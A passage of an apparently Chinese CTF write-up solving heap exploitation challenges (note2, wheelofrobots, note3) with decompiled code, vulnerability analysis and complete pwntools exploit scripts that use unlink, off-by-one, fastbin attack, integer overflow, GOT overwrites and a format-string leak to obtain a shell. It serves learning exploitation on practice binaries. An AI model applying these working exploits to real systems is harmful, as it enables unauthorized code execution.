ru("show")
sl('1')
ru("index:")
sl(str(index))
ru("size:")
sl(str(size))
ru("content:")
sd(content)
def puts(index):
ru("show")
sl('4')
ru("index:")
sl(str(index))


#bk(0x400990)
malloc(0,0xf8,'aaaa')
malloc(32,0xf8,'bbbb')
malloc(1,0xf8,'cccc')
malloc(31,0xf8,'dddd')
free_got = elf.got['free']
ptr = 0x6021E0#32
FD = ptr - 24
BK = ptr - 16
py = ''
py += p64(0) + p64(0xf1)
py += p64(FD) + p64(BK)
py = py.ljust(0xf0, "\x00")
py += p64(0xf0)
edit(32,py)
free(1)
#0xF8
py = ''
py += p64(0x6021E0)*3 + p64(free_got)
py += 'a'*0xD0
py += p64(1)
edit(32,py)
puts(32)
free_addr = u64(ru('\x7f')[-6:].ljust(8,'\x00'))
print "free_addr--->" + hex(free_addr)
onegadget = free_addr - libc.symbols["free"] + 0x4526a
print "onegadget--->" + hex(onegadget)
free_hook = free_addr - libc.symbols["free"] + libc.symbols['__free_hook']
print "free_hook--->" + hex(free_hook)
pay = p64(free_hook)#这里需要注意,edit又会被使用完,所以需要再覆盖一次为1
pay = pay.ljust(0xf0,'\x00')
pay += p64(1)
edit(31,pay)
edit(32,p64(onegadget))
free(0)
p.interactive()

最后free掉chunk0即可getshell~

1563541805476

1563541843948)1563541864806

总结:

这里学到了新的技巧是利用off by null+unlink(手动计算堆块大小0xf8),同时学到了那3个地址写同一个地方的操作(针对于只有free_hook可用,需要二次写入时),还有就是一个覆盖的问题,写入覆盖bss段中的内容。

接着再来看看一道unlink题目,这里有个新的知识点:

note2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void __fastcall main(__int64 a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(0x3Cu);
puts("Input your name:");
read_0(&unk_6020E0, 64LL, 10);
puts("Input your address:");
read_0(&unk_602180, 96LL, 10);
while ( 1 )
{
switch ( menu() )
{
case 1:
malloc_0();
break;
case 2:
puts_0();
break;
case 3:
edit();
break;
case 4:
free_0();
break;
case 5:
puts("Bye~");
exit(0);
return;
case 6:
exit(0);
return;
default:
continue;
}
}
}

这里我们知道可以提取出函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def malloc(size,content):
ru("option--->>\n")
sl('1')
ru("Input the length of the note content:(less than 128)")
sl(str(size))
ru("Input the note content:")
sl(content)
def free(index):
ru("option--->>\n")
sl('4')
ru("Input the id of the note:")
sl(str(index))

def edit(index,choice,Content):
ru("option--->>\n")
sl('3')
ru("Input the id of the note:")
sl(str(index))
ru("do you want to overwrite or append?[1.overwrite/2.append]")
sl(str(choice))
ru("TheNewContents:")
sl(Content)

def puts(index):
ru("option--->>\n")
sl('2')
ru("Input the id of the note:")
sl(str(index))

def exit():
ru("option--->>\n")
sl('5')

漏洞点挖掘:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall sub_4009BD(__int64 a1, __int64 a2, char a3)
{
char v4; // [rsp+Ch] [rbp-34h]
char buf; // [rsp+2Fh] [rbp-11h]
unsigned __int64 i; // [rsp+30h] [rbp-10h]
ssize_t v7; // [rsp+38h] [rbp-8h]

v4 = a3;
for ( i = 0LL; a2 - 1 > i; ++i ) //a2就是size,i是unsigned类型,如果a2=0,则a2-1=-1就会被看成是unsign类型,即0xfffffffffffffffff最大整数,可以说是无限输入字节了。这里就是溢出点。
{
v7 = read(0, &buf, 1uLL);
if ( v7 <= 0 )
exit(-1);
if ( buf == v4 )
break;
*(i + a1) = buf;
}
*(a1 + i) = 0;
return i;
}

我们知道了溢出但是怎么利用也是个问题,这里学到一招新招:

chunk1+chunk2+chunk3,我们在chunk1构造出一个fake_chunk,然后在chunk2中输入溢出修改chunk3从而达到目的,这里free掉了chunk3会先合并chunk2然后再合并chunk1,而我们的fake_chunk就是在chunk1的内容里面的:那么要得到这种chunk分布,应该怎么弄呢,这里就是要实现fastbinattack中的原堆块不变性,申请到和刚刚相近的块,直接拿回来直接用。

上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#context(arch='i386', os='linux')
local = 1
elf = ELF('./note2')
if local:
p = process('./note2')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('./libc.so.6')

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
#addr = u64(rc(6).ljust(8,'\x00'))
#addr = u32(rc(4))
#addr = int(rc(6),16)#string
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def malloc(size,content):
ru("option--->>\n")
sl('1')
ru("Input the length of the note content:(less than 128)")
sl(str(size))
ru("Input the note content:")
sl(content)
def free(index):
ru("option--->>\n")
sl('4')
ru("Input the id of the note:")
sl(str(index))

def edit(index,choice,Content):
ru("option--->>\n")
sl('3')
ru("Input the id of the note:")
sl(str(index))
ru("do you want to overwrite or append?[1.overwrite/2.append]")
sl(str(choice))
ru("TheNewContents:")
sl(Content)

def puts(index):
ru("option--->>\n")
sl('2')
ru("Input the id of the note:")
sl(str(index))

def exit():
ru("option--->>\n")
sl('5')
print "length--->" + hex(len('asdfkljlkdsjfjdsaokjflksdajfklsdajfklds'))
ptr0 = 0x602120
ru("Input your name:")
sl('king')
ru("Input your address:")
sl('0x6020E0')
#bk(0x0000000000400F4A)
FD = ptr0 - 24
BK = FD + 8
py = ''
py += p64(0) + p64(0x71)//这里fake_chunk大小随意,但是不要超过0x80
py += p64(FD) + p64(BK)
py = py.ljust(0x70,'e')
py += p64(0x70) //这里是fake_chunk的大小,由于0x70的右边都是0,就会认为fake_chunk是free的状态
malloc(0x80,py)
malloc(0x0,'b'*0x8)
malloc(0x80,'c'*0x10)
free(1)
malloc(0x0,'a'*16 + p64(0xa0) + p64(0x90))#fake_chunk所在的空间(0x80)和0x20的chunk块合并成0xa0的大小chunk,会实现unlink操作~
free(2)
atoi_got = elf.got["atoi"]
py = ''
py += 'a'*24
py += p64(atoi_got)
edit(0,1,py)
puts(0)
atoi_addr = u64(ru('\x7f')[-6:].ljust(8,'\x00'))
print "atoi_addr---->" + hex(atoi_addr)
system = atoi_addr - libc.symbols["atoi"] + libc.symbols["system"]
print "system--->" + hex(system)
onegadget = atoi_addr - libc.symbols["atoi"] + 0xf1147
edit(0,1,p64(onegadget))
ru("option--->>\n")
sl("5")
p.interactive()

这里我用onegadget,用system也是一样的,只是atoi的参数换成(“/bin/sh”),这里学到的就是连带free的关系~

下面我们来看一道题,有关于off by one、fastbin attack 和unlink的题目,一道好题:

wheelofrobots

1563860471183

这里可以看到,是64位的程序,开了canary和NX保护,其他的没有开,这里got表可以改:

接着ida分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed __int64 input; // rsi
unsigned int choice_1; // eax

setvbuf(stdout, 0LL, 2, 0LL);
input = 0LL;
setvbuf(stdin, 0LL, 2, 0LL);
sub_40174B();
sub_400A86();
qword_603130 = 0LL;
while ( 1 )
{
while ( 1 )
{
sub_400AD3();
printf("Your choice : ", input);
memset(&choice_603110, 0, 4uLL);
input = 4LL;
choice_1 = read_0(&choice_603110, 4uLL);
if ( choice_1 != 2 )
break;
free_0();
}
if ( choice_1 > 2 )
{
if ( choice_1 == 3 )
{
change();
}
else if ( choice_1 == 4 )
{
run();
}
}
else if ( choice_1 == 1 )
{
malloc();
}
}
}

这里我做了一些处理,方便看,最后把函数都提取出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def offbyone(inuse):
ru("Your choice : ")
sl('1')
ru("Your choice :")
sd('7777' + inuse)

def malloc(index,size):
ru('Your choice :')
sl('1')
ru('Your choice :')
sl(str(index))
if index == 2:
ru("Increase Bender's intelligence: ")
sl(str(size))
elif index == 3:
ru("Increase Robot Devil's cruelty: ")
sl(str(size))
elif index == 6:
ru("Increase Destructor's powerful: ")
sl(str(size))

def free(index):
ru("Your choice : ")
sl('2')
ru("Your choice :")
sl(str(index))
def run():
ru("Your choice : ")
sl('4')

def change(index,content):
ru("Your choice : ")
sl('3')
ru("Your choice :")
sl(str(index))
ru("Robot's name: ")
sd(content)

现在来看看漏洞点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
unsigned __int64 addd()
{
_WORD *v0; // rax
_WORD *v1; // rax
_DWORD *v2; // rax
_DWORD *v3; // rax
_QWORD *v4; // rax
unsigned int v5; // ST08_4
_WORD *v6; // rax
unsigned int v8; // [rsp+8h] [rbp-18h]
unsigned int size; // [rsp+8h] [rbp-18h]
int choice; // [rsp+Ch] [rbp-14h]
char s; // [rsp+10h] [rbp-10h]
unsigned __int64 v12; // [rsp+18h] [rbp-8h]

v12 = __readfsqword(0x28u);
sub_400D83("Which robot do you want to add to the wheel?");
printf("Your choice :");
memset(&choice_603110, 0, 4uLL);
choice = read_0(&choice_603110, 5uLL);//这里有offbyone的漏洞,定义是4个字节,这里溢出了一个字节,会使得0x603110的下一个地址处0x603114的内容被覆盖掉,这个地址正是2号机器人的使用标识,这里可以构造出机器人的伪使用,就是没有被使用却可以实现change(因为change也要看使用标志,1才能使用)
if ( qword_603130 <= 2 ) //这里说明最多申请3个堆块,603130存储个数
{
switch ( choice )
{
case 1:
if ( !r1_603120 ) //这是1号机器人的使用标志地址,为1表示使用,0表示未使用,0可申请
{
buf = calloc(1uLL, 0x14uLL); //calloc约等于malloc,两个参数,表示申请一个0x14大小的chunk块,buf存储chunk块的地址
r1_603120 = 1;
v0 = buf;
*buf = 'iT ynniT';
v0[4] = 'm';
++qword_603130;
}
break;
case 2:
if ( !r2_603114 )
{
printf("Increase Bender's intelligence: ", 5LL);
memset(&s, 0, 5uLL);
v8 = read_0(&s, 5uLL); //v8是我们的size,存储在0x603138地址处,而我们的输入存储在0x6030F0中,下面的也类似上面两种的方法去分析,这里只对上界检查,我们可以输入负数实现整数溢出~也是一个洞这里。
if ( v8 > 4 )
{
puts("Sorry impossible to make bender as smart!");
v8 = 2;
}
qword_6030F0 = calloc(1uLL, 20 * v8);
qword_603138 = v8;
r2_603114 = 1;
v1 = qword_6030F0;
*qword_6030F0 = 'dneB';
v1[2] = 're';
*(v1 + 6) = 0;
++qword_603130;
}
break;
case 3:
if ( !r3_603124 )
{
printf("Increase Robot Devil's cruelty: ", 5LL);
memset(&s, 0, 5uLL);
size = read_0(&s, 5uLL);
if ( size > 0x63 )
{
puts("You are crazy!!");
size = 20;
}
qword_603100 = calloc(1uLL, 20 * size);
qword_603140 = size;
r3_603124 = 1;
v2 = qword_603100;
*qword_603100 = 'eD toboR';
v2[2] = 'liv';
++qword_603130;
}
break;
case 4:
if ( !r4_603118 )
{
qword_6030E0 = calloc(1uLL, 0xFA0uLL);
v3 = qword_6030E0;
*qword_6030E0 = 'mS niahC';
v3[2] = 'reko';
*(v3 + 12) = 0;
r4_603118 = 1;
++qword_603130;
}
break;
case 5:
if ( !r5_603128 )
{
qword_603108 = calloc(1uLL, 0x9C40uLL);
v4 = qword_603108;
*qword_603108 = 'anoilliB';
v4[1] = 'toB eri';
r5_603128 = 1;
++qword_603130;
}
break;
case 6:
if ( !r6_60311C )
{
printf("Increase Destructor's powerful: ", 5LL);
memset(&s, 0, 5uLL);
v5 = read_0(&s, 5uLL);
qword_6030E8 = calloc(1uLL, 20 * v5);
qword_603148 = v5;
r6_60311C = 1;
v6 = qword_6030E8;
*qword_6030E8 = 'tcurtseD';
v6[4] = 'ro';
*(v6 + 10) = 0;
++qword_603130;
}
break;
default:
return __readfsqword(0x28u) ^ v12;
}
}
else
{
puts("Wheel Of Robots is Full!");
}
return __readfsqword(0x28u) ^ v12;
}

这是malloc里面发现的offbyone漏洞,继续看漏洞:

1563862106224

这里是free函数,由于都是一样的,就分析一个即可,触类旁通,这里先看下是否可以用,为1表示可以使用,可以free掉,这里有UAF漏洞,使用后没有清空内容的空间,但是puts函数貌似没有,就比较难受,泄露真实地址很难利用。

再看change:

1563862401930

这里可以看到是先判断是否可以使用,看标志位,然后再输入名字,去调用,其实名字就是我们的content,这里如果是固定大小的堆块是很难改的,但是有利用前面的堆块做文章的题,看到2号堆块是从0x603138处取出自己的输入的大小*20作为改变content的大小,看似是同一个地方取出来,好像都是一样的,但是如果我们通过中途修改了呢,那再次编辑时就可以实现比原来的大小要大,从而实现溢出,从而实现堆溢出伪造fake_chunk,unlink攻击,任意地址写漏洞,从而泄露出真实地址从而getshell~
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./wheelofrobots')
if local:
p = process('./wheelofrobots')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('./libc.so.6')

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def offbyone(inuse):
ru("Your choice : ")
sl('1')
ru("Your choice :")
sd('7777' + inuse)

def malloc(index,size):
ru('Your choice :')
sl('1')
ru('Your choice :')
sl(str(index))
if index == 2:
ru("Increase Bender's intelligence: ")
sl(str(size))
elif index == 3:
ru("Increase Robot Devil's cruelty: ")
sl(str(size))
elif index == 6:
ru("Increase Destructor's powerful: ")
sl(str(size))

def free(index):
ru("Your choice : ")
sl('2')
ru("Your choice :")
sl(str(index))
def run():
ru("Your choice : ")
sl('4')

def change(index,content):
ru("Your choice : ")
sl('3')
ru("Your choice :")
sl(str(index))
ru("Robot's name: ")
sd(content)
#bk(0x0000000000400E19)

malloc(2,1) #构造出fastbin堆块,
free(2)
offbyone('\x01') #offbyone攻击,改标志值为1,实现free状态下的修改,那么就可构造出fastbin_attack的一个fake_chunk(0x603138)
change(2,p64(0x603138)) #分布:chunk2--->0x603138-->0x0
offbyone('\x00') #还原回装态
malloc(2,1)
malloc(3,0x20)#0x20会被写到0x603140的位置作为fake_chunk的地址
malloc(1,1)#得到fake_chunk
free(2)
free(3)
malloc(6,7) #构造出unlink需要的块大小(大于fastbin的范围)
malloc(3,7) #同上
change(1,p64(1000)) #这里会将1000写入到0x603148处(chunk6的read的大小,为实现泄堆溢出),实现fastbin的attack
ptr = 0x6030E8#chunk8 D8 E0 4 E8 6 F0 2 F8 1
FD = ptr - 0x18
BK = ptr - 0x10
py = '' #这里gdb调试才知道6和3的块大小为0xa0
py += p64(0) + p64(0x91)
py += p64(FD) + p64(BK)
py = py.ljust(0x90,'a')
py += p64(0x90) + p64(0xa0)
change(6,py)
free(3) #unlink成功
malloc(2,1)
atoi_got = elf.got['atoi']
puts_plt = elf.symbols["puts"]
free_got = elf.got['free']
py = ''
py += 'AAAAAAAA'*3 +p64(free_got) + p64(atoi_got)#往chunk2写入atoi的got
change(6,py)
change(6,p64(puts_plt))
free(2)
atoi_addr = u64(rc(6).ljust(8,'\x00'))
print "atoi_addr--->" + hex(atoi_addr)
system = atoi_addr - libc.symbols["atoi"] + libc.symbols["system"]
#onegadget = atoi_addr - libc.symbols["atoi"] + 0x4526a
change(6,p64(system))
change(1,"/bin/sh") #往chunk1写入binsh即可getshell,这里onegadget用不了~
free(1)
p.interactive()

看下调试过程:

1563872810067

这是成功构造的fastbin_attack

1563872936098

改写0x603148处的大小

1563873003413

这是我们的unlink的构造

1563873092428

这是我们unlink后的写入可见往chunk2写入了atoi的got表,本身则是free的got

1563873247133

成功改写free的got为system地址~即可getshell

1563873287755

这题学到了新姿势,通过offbyone漏洞去改写状态,从而实现fastbin的attack,然后利用fastbin的attack实现了改写read大小,从而实现堆溢出,构造出unlink,从而实现泄露真实地址从而getshell~

下面是收官之题,有关unlink的最后一题:

note3

1563894961561

很好,保护机制只开了canary和NX,问题不大

接着ida分析一波:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void __fastcall main(__int64 a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(0x3Cu);
while ( 1 )
{
switch ( sub_400A1B(60LL, 0LL) )
{
case 1u:
malloc_0();
break;
case 2u:
puts_0();
break;
case 3u:
edit();
break;
case 4u:
free_0();
break;
case 5u:
puts("Bye~");
exit(0);
return;
case 6u:
exit(0);
return;
default:
continue;
}
}
}

提取出函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def malloc(size,content):
ru("option--->>")
sl('1')
ru("Input the length of the note content:(less than 1024)")
sl(str(size))
ru("Input the note content:")
sl(content)
def free(index):
ru("option--->>")
sl('4')
ru("Input the id of the note:")
sl(str(index))

def edit(index,Content):
ru("option--->>")
sl('3')
ru("Input the id of the note:")
sl(str(index))
ru("Input the new content:")
sl(Content)

这里只有这三种操作,其他的操作是没有用的,没有puts函数打印堆块里的东西,接着分析漏洞点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int malloc_0()
{
void *v1; // ST18_8
signed int i; // [rsp+Ch] [rbp-14h]
__int64 size; // [rsp+10h] [rbp-10h]

for ( i = 0; i <= 6 && ptr[i]; ++i )
;
if ( i == 7 )//最多7个块
puts("Note is full, add fail");
puts("Input the length of the note content:(less than 1024)");
size = sub_4009B9("Input the length of the note content:(less than 1024)");
if ( size < 0 )//边界检查
return puts("Length error");
if ( size > 1024 )
return puts("Content is too long");
v1 = malloc(size);
puts("Input the note content:");
sub_4008DD(v1, size, 10);
ptr[i] = v1;//chunk0地址ptr=0x6020c8
qword_6020C0[i + 8LL] = size;
qword_6020C0[0] = ptr[i];//0x6020C0可以看成是堆指针的缓冲区,每一次都会放进去,edit时也一样,chunk-1块(我们给个名hh)
return printf("note add success, the id is %d\n", i);
}

上面这是我们的malloc函数,这里和note2一样有漏洞的是输入函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall sub_4008DD(__int64 a1, __int64 a2, char a3)
{
char v4; // [rsp+Ch] [rbp-34h]
char buf; // [rsp+2Fh] [rbp-11h]
unsigned __int64 i; // [rsp+30h] [rbp-10h]
ssize_t v7; // [rsp+38h] [rbp-8h]

v4 = a3;
for ( i = 0LL; a2 - 1 > i; ++i )这里和note2一样存在整数溢出的漏洞,a2-1=-1时,和unsigned的i比较,就会被认为是无限大的数,相当于无限输入的堆溢出
{
v7 = read(0, &buf, 1uLL);
if ( v7 <= 0 )
exit(-1);
if ( buf == v4 )
break;
*(i + a1) = buf;
}
*(a1 + i) = 0;//这里会将发送的末尾最后一位置为0x00
return i;
}

想想应该是新的知识点,再仔细看看sub_4009B9函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 sub_4009B9()
{
__int64 v1; // [rsp+8h] [rbp-38h]
char nptr; // [rsp+10h] [rbp-30h]
unsigned __int64 v3; // [rsp+38h] [rbp-8h]

v3 = __readfsqword(0x28u);
sub_4008DD(&nptr, 32LL, 10);
v1 = atol(&nptr);
if ( v1 < 0 )
v1 = -v1; //做过了整数溢出的题目,有经验了,0x8000000000000000就是-1,可以绕过检测,就可以得到chunk-1所在的堆指针
return v1;
}

所以我们可以是可以输入负数的,这里输入负数后得到的是我们的下标v1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int edit()
{
__int64 v0; // rax
void *v1; // rax
signed __int64 v3; // [rsp+8h] [rbp-8h]

puts("Input the id of the note:");
v0 = sub_4009B9();//出来可以是负数的下标
v3 = v0 - 7 * ((((5270498306774157605LL * v0) >> 64) >> 1) - (v0 >> 63));
if ( v0 - 7 * ((((5270498306774157605LL * v0) >> 64) >> 1) - (v0 >> 63)) >= v0 )
{
v1 = ptr[v3];
if ( v1 )
{
puts("Input the new content:");
sub_4008DD(ptr[v3], qword_6020C0[v3 + 8], 10);
qword_6020C0[0] = ptr[v3];
LODWORD(v1) = puts("Edit success");
}
}
else
{
LODWORD(v1) = puts("please input correct id.");
}
return v1;
}

1563934791938

这里我们更改了下3号块的内容,使得0x6020C0指向3号块(前面有个指针赋值), qword_6020C0[0] = ptr[i];

1563934938814

edit谁,它就指向谁,那么我们再次输入负数时,会发现

1563935981202

v3下标是-1,这里可以知道得到的rax就是v1,也就是0x6020C0处的chunk3地址,也就是我们可以实现对chunk3的操作,而且这时的0x6020C[0+8]=0x6020c8处的size为0,看调试信息:

1563936710103

这里0x6020f8就是0x6020c0[7]的大小(这里是0),下面接着是下标为8,9,10,11, 12的堆块的大小看上图

那么也就是说sub_4008DD(chunk3,0,10),这是一个read函数,size为0说明有溢出漏洞,直接chunk3无限下溢覆盖chunk4,接着再把chunk4给free掉,就能unlink了:

1563937412294

1563937463290

unlink实现,得到:

1563937957643

这里chunk3—>chunk0,接着就是常规操作了,但是这里需要注意一点就是,改free的got为printf_plt,然后打印出真实地址是不行的,很奇怪,这里介绍的是利用格式化字符串漏洞去打印栈上面的地址(涨姿势了),先学习一波,这里打印的话,是栈上偏移为11的位置,libc_start_main+240的真实地址,打出来就好办了,接着就可以直接一把getshell了,上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#context(arch='i386', os='linux')
local = 1
elf = ELF('./note3')
if local:
p = process('./note3')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('./libc.so.6')

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def malloc(size,content):
ru("option--->>")
sl('1')
ru("Input the length of the note content:(less than 1024)")
sl(str(size))
ru("Input the note content:")
sl(content)
def free(index):
ru("option--->>")
sl('4')
ru("Input the id of the note:")
sl(str(index))

def edit(index,Content):
ru("option--->>")
sl('3')
ru("Input the id of the note:")
sl(str(index))
ru("Input the new content:")
sl(Content)

bk(0x400CD0)
intnum = -9223372036854775808
ptr0 = 0x6020E0
FD = ptr0 - 24
BK = ptr0 - 16
py = ''
py += p64(0) + p64(0x81)
py += p64(FD) + p64(BK)
py = py.ljust(0x80,'e')
py += p64(0x80) + p64(0x90)
malloc(0x80,'aaaa')
malloc(0x80,'bbbb')
malloc(0x80,'cccc')
malloc(0x80,'eeee')
malloc(0x80,'nnnn')
edit(3,'a')
edit(intnum,py)
free(4)
free_got = elf.got['free']
printf_plt = elf.symbols['printf']
atoi_got = elf.got['atoi']
puts_plt = elf.symbols['puts']

edit(3,p64(free_got))
edit(0,p64(printf_plt) + p64(printf_plt))

edit(3,p64(0x6020e8))
edit(0,'%11$p')
free(0)

main_addr = int(rc(14),16) - 240
print "main_addr--->" + hex(main_addr)
onegadget = main_addr - libc.symbols['__libc_start_main'] + 0xf1147
#system = main_addr - libc.symbols['__libc_start_main'] + libc.symbols["system"]
edit(3,p64(free_got))
edit(0,p64(onegadget)+p64(printf_plt))
free(1)
p.interactive()

这里就是这样的做法,但是后来调试了才知道问题出在哪里;

这题因为要sl才能发送过去,所以会带上0x0a,又因为它会将发送的末尾置为0(发送0x9个字符),所以会改puts的真实地址:

1563948811553

可以看到改成了popen,所以这里是不行的,但是我们可以发送7个字节丫,接上0x00刚好8个字节,就不会改了:

1563949017842

这样就可以调用了~

然后就是一把梭:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#context(arch='i386', os='linux')
local = 1
elf = ELF('./note3')
if local:
p = process('./note3')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('./libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def malloc(size,content):
ru("option--->>")
sl('1')
ru("Input the length of the note content:(less than 1024)")
sl(str(size))
ru("Input the note content:")
sl(content)
def free(index):
ru("option--->>")
sl('4')
ru("Input the id of the note:")
sl(str(index))

def edit(index,Content):
ru("option--->>")
sl('3')
ru("Input the id of the note:")
sl(str(index))
ru("Input the new content:")
sl(Content)

#bk(0x400CD0)
intnum = -9223372036854775808
ptr0 = 0x6020E0
FD = ptr0 - 24
BK = ptr0 - 16
py = ''
py += p64(0) + p64(0x81)
py += p64(FD) + p64(BK)
py = py.ljust(0x80,'e')
py += p64(0x80) + p64(0x90)
malloc(0x80,'eeee')
malloc(0x80,'dddd')
malloc(0x80,'cccc')
malloc(0x80,'bbbb')
malloc(0x80,'aaaa')
edit(3,'a')
edit(intnum,py)
free(4)
free_got = elf.got['free']
puts_plt = elf.symbols['puts']
atoi_got = elf.got['atoi']
puts_plt = elf.symbols['puts']

edit(3,p64(free_got)+p64(atoi_got))
edit(0,p64(puts_plt)[0:7])
free(1)
atoi_addr = u64(ru('\x7f')[-6:].ljust(8,'\x00'))
print "atoi_addr--->" + hex(atoi_addr)
onegadget = atoi_addr - libc.symbols['atoi'] + 0xf02a4
system = atoi_addr - libc.symbols['atoi'] + libc.symbols['system']
malloc(0x80,'/bin/sh\x00')
edit(0,p64(system)[0:7])
#gdb.attach(p)
free(1)
p.interactive()

这里binsh需要malloc一个新的块才有用,所以我一般都是用onegadget啦~

1563951178238

0%